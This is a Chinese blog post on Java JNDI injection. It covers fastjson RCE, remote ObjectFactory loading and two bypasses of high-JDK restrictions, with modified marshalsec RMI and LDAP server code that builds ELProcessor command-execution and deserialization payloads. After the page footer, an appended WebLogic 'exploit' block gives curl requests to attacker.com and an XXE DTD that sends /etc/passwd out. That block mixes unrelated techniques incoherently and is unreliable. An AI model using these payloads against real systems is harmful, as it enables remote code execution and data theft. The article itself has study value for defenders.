JNDI注入利用原理及绕过高版本JDK限制

前言

关于JNDI注入的讨论和研究,起源于国外的安全研究员@pwntester在2016年Blackhat的一个议题:<A Journey from JNDI/LDAP operation to remote code execution dream> (参考[1]).

本文是笔者之前学习JNDI注入原理的记录,因为博客迁移,以及最近进行Java漏洞攻防方面的知识回顾和梳理,遂在之前旧博客的基础上进行补充。内容包括JNDI注入原理,以及在Tomcat环境下如何绕过高版本JDK的限制进行利用。

JNDI 101

什么是JNDI

JNDI(Java Naming Directory Interface) 是Java提供的一个通用接口,使用它可以与各种不同的命名服务(Naming Service)和目录服务(Directory Service)进行交互,比如RMI(Remote Method Invocation),LDAP(Lightweight Directory Access Protocol),Active Directory,DNS,CORBA(Common Object Request Broker Architecture)等。

其中Naming Service 是对象和名称绑定在一起,然后可以通过名称去查找相应的对象。

而Directory Service是一种特殊的Naming Service,它允许存储和查找Directory对象,Directory对象和一般的对象不同在于它可以将属性和对象相关联。

官方提供的JNDI 架构图如下:
在这里插入图片描述

使用JNDI的好处

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind操作。比如在RMI服务器端上可以不直接使用Registry进行bind操作,而是使用JNDI统一管理,当然JNDI底层应该还是调用的Registry进行bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

另外,如上图的JNDI分层结构中,对SPI层和Naming Manager层,JVM在验证从何处加载远程类时的行为是不同。换言之,JVM对于从远程加载类有两种不同的安全级别,分别是SPI级别和Naming Manager级别。

在SPI级别中,如果JVM允许从远程加载类,需要根据不同的服务提供者(如RMI、LDAP、CORBA)来决定是否强制安装Security Manager安全管理器。具体条件如下表:
在这里插入图片描述
但是, Naming Manager层放宽了安全限制。解码JNDI命名引用时,始终允许从远程代码库加载类,而没有JVM选项来禁用它,并且不需要强制安装任何安全管理器。这使攻击者可以利用特定的情况来远程执行自己的代码。

几个简单的JNDI代码示例

1、使用JNDI操作RMI

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);

//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());

//通过名称查找对象
ctx.lookup("refObj");

2、使用JNDI操作LDAP

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI动态协议转换

上面的两个例子都手动设置了对应服务的工厂以及对应服务的Context.PROVIDER_URL,但是JNDI是能够进行动态协议转换的。
如:

Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");

上面没有设置对应服务的Context.INITIAL_CONTEXT_FACTORY以及Context.PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL

JNDI Naming References

为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。

引用由Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。

Reference可以使用ObjectFactory来构造对象。当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。可以从远程加载地址来加载ObjectFactory类,这是攻击者关注的点。

Reference reference = new Reference("refClassName","FactoryClassName",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("refObj", wrapper);

JNDI 注入利用

有了前面的基础知识,再来看看如何利用JNDI注入来实现RCE。

前面说到,存储在命名服务或目录服务的Reference引用可以使用ObjectFactory来构造对象,而Reference可以根据指定的加载地址去加载远程的ObjectFactory类。

假如lookup()去查询的RMI/LDAP服务器是一个恶意的服务器,该恶意服务器会返回一个Reference对象,这个Reference对象会根据攻击者指定的地址去远程加载一个恶意的ObjectFactory类,从而使得这个ObjectFactory类中的恶意代码被执行。

不管是lookup查询的是RMI服务还是LDAP服务,整个JNDI注入利用过程都可以归结如下:

  • (1) 目标程序调用InitialContext#lookup(String)进行JNDI操作,且参数是用户可控,攻击者传入URL指向自己的恶意RMI/LDAP服务器;
  • (2) 恶意RMI/LDAP服务器向目标程序返回一个恶意的JNDI引用Reference,该Reference对象包含了攻击者指定的恶意ObjectFactory类的加载地址;
  • (3) 目标程序解码该JNDI Reference,得到恶意ObjectFactory类的加载地址;
  • (4) 目标程序从攻击者指定的远程加载地址获取恶意ObjectFactory类的class字节码;
  • (5) 实例化获取到的恶意ObjectFactory类,ObjectFactory类中的恶意代码得以执行。

如下图:
在这里插入图片描述
下面以fastjson <= 1.2.47的反序列化RCE漏洞为例,通过源码调试的方式加深对JNDI注入利用的理解。

环境:
(1) 基于Springboot搭建的简单web程序;
(2) JDK版本:8u101
(3) fastjson的版本为1.2.47
(4) 使用marshalsec工具快速启动RMILDAP服务.
(5) 使用Python快速启动HTTP服务,用来托管恶意ObjectFactory类。

以下GIF图以RMI向量为例,演示整个攻击的过程:
在这里插入图片描述
下面对RMI/LDAP向量分别进行源码调试。

RMI向量

使用Burpsuite向目标程序发送fastjson的exploit后,首先来到InitialContext#lookup(String),参数是exploit中指定的rmi://192.168.3.36:8085/Exploit
在这里插入图片描述
继续往下走,会在RegistryContext#lookup(Name)中向恶意RMI服务器发起查询请求,然后将请求得到的JNDI引用对象保存到变量var2中,这个JNDI引用对象其实是ReferenceWrapper,它是对Reference对象的封装。然后将var2传入RegistryContext#decodeObject()对JNDI引用进行解码,从ReferenceWrapper对象中获取Reference对象。
在这里插入图片描述
在这里插入图片描述
继续往下走,会在NamingManager#getObjectInstance()中,调用NamingManager#getObjectFactoryFromReference() 加载ObjectFactory类。
在这里插入图片描述
来看看NamingManager#getObjectFactoryFromReference()是如何实现的:
在这里插入图片描述
可以看到,会调用VersionHelper12#loadClass(String className, String codebase)方法去远程地址加载恶意的ObjectFactory类,VersionHelper12#loadClass()实际上调用的就是Class.forName(),使用的类加载器是URLClassLoader
在这里插入图片描述
在这里插入图片描述
再回过头看NamingManager#getObjectFactoryFromReference(),远程获取到ObjectFactory类的字节码后,会调用newInstance()方法实例化对象,然后将ObjectFactory对象返回。返回后,在NamingManager#getObjectInstance()中,会调用ObjectFactory#getObjectInstance()方法构造所要查询的原始对象并返回。

因此,我们的恶意代码可以写在以下三个地方:

  • (1) ObjectFactory类的静态代码块;
  • (2) ObjectFactory类的构造方法;
  • (3) ObjectFactory#getObjectInstance()方法中。
  • 这三种方式,ObjectFactory类的名字均可随意指定,但方式(3)需要你的类实现javax.naming.spi.ObjectFactory接口。

整个利用过程的主要调用栈如下:

InitialContext#lookup()
  RegistryContext#lookup()
    RegistryContext#decodeObject()
      NamingManager#getObjectInstance()
          objectfactory = NamingManager#getObjectFactoryFromReference()
                  Class#newInstance()  //-->恶意代码被执行
     或:   objectfactory#getObjectInstance()  //-->恶意代码被执行

LDAP向量

LDAP向量的话,只是lookup时上下文使用了不同的上下文对象,处理ldap查询的细节不同而已,整个JNDI注入利用流程还是一样的,所以这里就不细说了。

整个利用过程的主要调用栈如下:

InitialContext#lookup()
  LdapCtx#c_lookup()
    Obj#decodeObject()
    DirectoryManager#getObjectInstance()
      objectfactory = NamingManager#getObjectFactoryFromReference()
                  Class#newInstance()  //-->恶意代码被执行
 或:  objectfactory#getObjectInstance()  //-->恶意代码被执行

其他向量

更多其他攻击向量详见<A Journey from JNDI/LDAP operation to remote code execution dream> (参考[1])。
平时代码审计挖洞的时候,要留意这些地方。

绕过高版本JDK限制

要注意的是,针对JNDI注入,后续的JDK版本,先后对RMI/LDAP两个攻击向量做了默认情况的限制:

  • Oracle JDK 8u121, 7u131, 6u141及以后的版本,为了限制RMI协议的JNDI利用,将系统属性com.sun.jndi.rmi.object.trustURLCodebase的默认值设置为false,即默认不允许RMI从远程地址加载objectfactory类。

Changelog:
 
JDK 6u141: http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
JDK 7u131: http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
JDK 8u121: http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html

com.sun.jndi.rmi.registry.RegistryContext#decodeObject()方法中会做判断:
在这里插入图片描述

  • Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,为了限制LDAP协议的JNDI利用,将系统属性com.sun.jndi.ldap.object.trustURLCodebase的默认值设置为false,即默认不允许LDAP从远程地址加载objectfactory类。

Changelog:
 
JDK 8u191: https://www.oracle.com/java/technologies/javase/8u191-relnotes.html

com.sun.naming.internal.VersionHelper12#loadClass()方法中会做判断:
在这里插入图片描述在这里插入图片描述
换言之,前面讨论的JNDI注入利用,在后续版本的JDK中,默认情况下都已失效。那么有没有办法绕过高版本JDK的限制,使JNDI注入再次生效呢?

方式1、利用本地Class作为JNDI Reference Factory

安全研究员@Michael Stepankin在文章< Exploiting JNDI Injections in Java> (参考[2])中给出了这种在Tomcat环境下可行的方法。

虽然高版本JDK默认情况下不允许JNDI Reference从远程地址加载ObjectFactory类。但仍旧可以加载一个存在于本地环境classpath的ObjectFactory类。

以RMI向量为例,查看RegistryContext#decodeObject(),返回的Reference对象中,只要远程加载地址factoryClassLocationnull时,便会进入NamingManager.getObjectInstance()加载指定的本地ObjectFactory类,关键代码如下:
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
因此,这个本地classpath环境里的ObjectFactory类,需要满足以下条件:

  • (1) 有无参构造方法;
  • (2) 实现了javax.naming.spi.ObjectFactory接口,同时实现了该接口的getObjectInstance()方法,并且在getObjectInstance()方法中,会通过Reference中的属性可能会作一些危险的操作。

Tomcat里的org.apache.naming.factor.BeanFactory类就满足上述条件。在BeanFactory#getObjectInstance()方法里,会通过反射机制去创建任意的Java bean对象,并调用该bean对象的所有属性的setter方法对其属性进行赋值,而且bean的类名、属性和属性值都来自可被攻击者控制的Reference对象。

另外,非常有意思的是,在BeanFactory#getObjectInstance()方法的逻辑里,可以根据ReferenceforceString属性,来强制将bean对象某个属性的setter方法名指定为非setXXX()。举个例子,假设攻击者将ReferenceforceString属性设置为x=eval,那么bean对象的x属性的setter方法名就会变成eval

因为BeanFactory#getObjectInstance()的代码比较长,这里就不贴了。有兴趣的读者自行查阅源码,很有意思。

再根据BeanFactory#getObjectInstance()方法里的逻辑,要想实现执行恶意代码的目的,我们需要找到一个Java bean,这个bean类得具有public类型的无参构造方法,还得存在一个public类型的成员方法且参数只有一个,类型为String,关键这个成员方法还得执行危险操作。

同样也是Tomcat环境下的javax.el.ELProcessor类就符合上述要求,关键ELProcessor#eval(String)方法可以把传入的字符串作为Java EL表达式去执行。

因此,笔者在marshalsec工具里新建了一个RMI服务类RMIRefServer_BypassHighJDK,在RMIRefServer类的基础上进行修改。关键部分代码如下,主要就是返回的Reference对象的修改:

ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);

//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef rref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
rref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
String expr1 =  "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec([";
String expr2 = "])\")";

String cmdArrStr = "";
for (int i = 0; i < this.cmdArray.length; i++) {
    if (i != this.cmdArray.length - 1) {
        cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "',";
    } else {
        cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "'";
    }
 }

String expr = expr1 + cmdArrStr + expr2;
System.out.println("expr=" + expr);
rref.add(new StringRefAddr("x", expr));
Reflections.setFieldValue(rw, "wrappee", rref);

由于高版本JDK,对于LDAP/RMI的限制是一样的,所以这里为了简单起见,就拿RMI服务为例进行修改。

利用这种方式绕过高版本JDK进行JNDI注入的攻击演示如下GIF图:
在这里插入图片描述
其实还可以举一反三,找找其他常见的Java Web环境是否还存在这样的ObjectFactory类,比如Jetty、Weblogic、JBoss、Resin等。随着Springboot的大行其道,内嵌Tomcat还是最常见的。

方式2、LDAP Server返回序列化数据,触发本地反序列化Gadget

LDAP目录服务,除了可以存储JNDI Reference对象,还可以存储Java序列化对象。所以我们的LDAP Server可以返回恶意的序列化对象给目标程序,触发本地的反序列化Gadget来实现RCE。

下面红框内的代码,表示目标程序对LDAP Serverlookup()查询操作时,解码对象的过程中,如果发现LDAP Server返回的是一段Java序列化的数据,则进行Java反序列化操作。
在这里插入图片描述在这里插入图片描述
所以可以在marshalsec项目的LDAPRefServer的基础上,创建新的LDAP Server类LDAPRefServer_BypassHighJDK,关键代码如下:

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
    URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
    System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
    e.addAttribute("javaClassName", "foo");
    String cbstring = this.codebase.toString();
    int refPos = cbstring.indexOf('#');
    if ( refPos > 0 ) {
         cbstring = cbstring.substring(0, refPos);
    }
//  e.addAttribute("javaCodeBase", cbstring);
//  e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
//  e.addAttribute("javaFactory", this.codebase.getRef());

   //传入的是ysoserial生成的序列化payload
   e.addAttribute("javaSerializedData", Base64.getDecoder().decode(this.payloadSerialBase64));

   result.sendSearchEntry(e);
   result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

在上面基于Springboot的fastjson应用中添加commons-collections:3.2.1依赖包,使用的JDK版本为8u201,重新编译打包,运行。

攻击演示如下:
在这里插入图片描述

这里一开始使用ysoserial CommonsCollections的利用链利用失败,调试的时候发现报错,提示信息如下:Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
但我在目标环境确实引用的commons-collections的版本是3.2.1,这个针对反序列化的修复是在3.2.2版本才加入的,所以很疑惑为什么会利用不成功。

后来我从IDEA的报错信息中的方法调用堆栈点进报错的代码文件,发现类文件并不是commons-collections包里的,而是位于openjpa-all这个依赖包里(这个依赖包是我以前测试其他程序的时候引入的,忘记去掉了…囧…)。原来,openjpa-all这个依赖包的代码里,包含了commons-collections修复版本的类给加进去了,如图:
在这里插入图片描述
所以在反序列化我们的payload的时候,目标程序就去这个依赖包里找对应的类,所以导致利用失败。把openjpa-all依赖包去掉即可。
在这里插入图片描述

Reference

[1] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
[2] https://www.veracode.com/blog/research/exploiting-jndi-injections-java
[3] https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

  • 4
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。攻击者可以通过构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上,从而实现远程代码执行。具体步骤如下: 1. 构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如,可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 2. 构造恶意请求,触发 JNDI 注入漏洞。例如,可以使用以下命令触发漏洞: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 3. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 XML 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 4. 构造恶意的 XML 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 XML 文件: ``` <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> ``` 5. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 DTD 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 6. 构造恶意的 DTD 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 DTD 文件: ``` <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?%payload;'>"> %remote; ``` 7. 等待 WebLogic 服务器向攻击者控制的服务器发送 HTTP 请求,从而触发恶意代码的执行。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值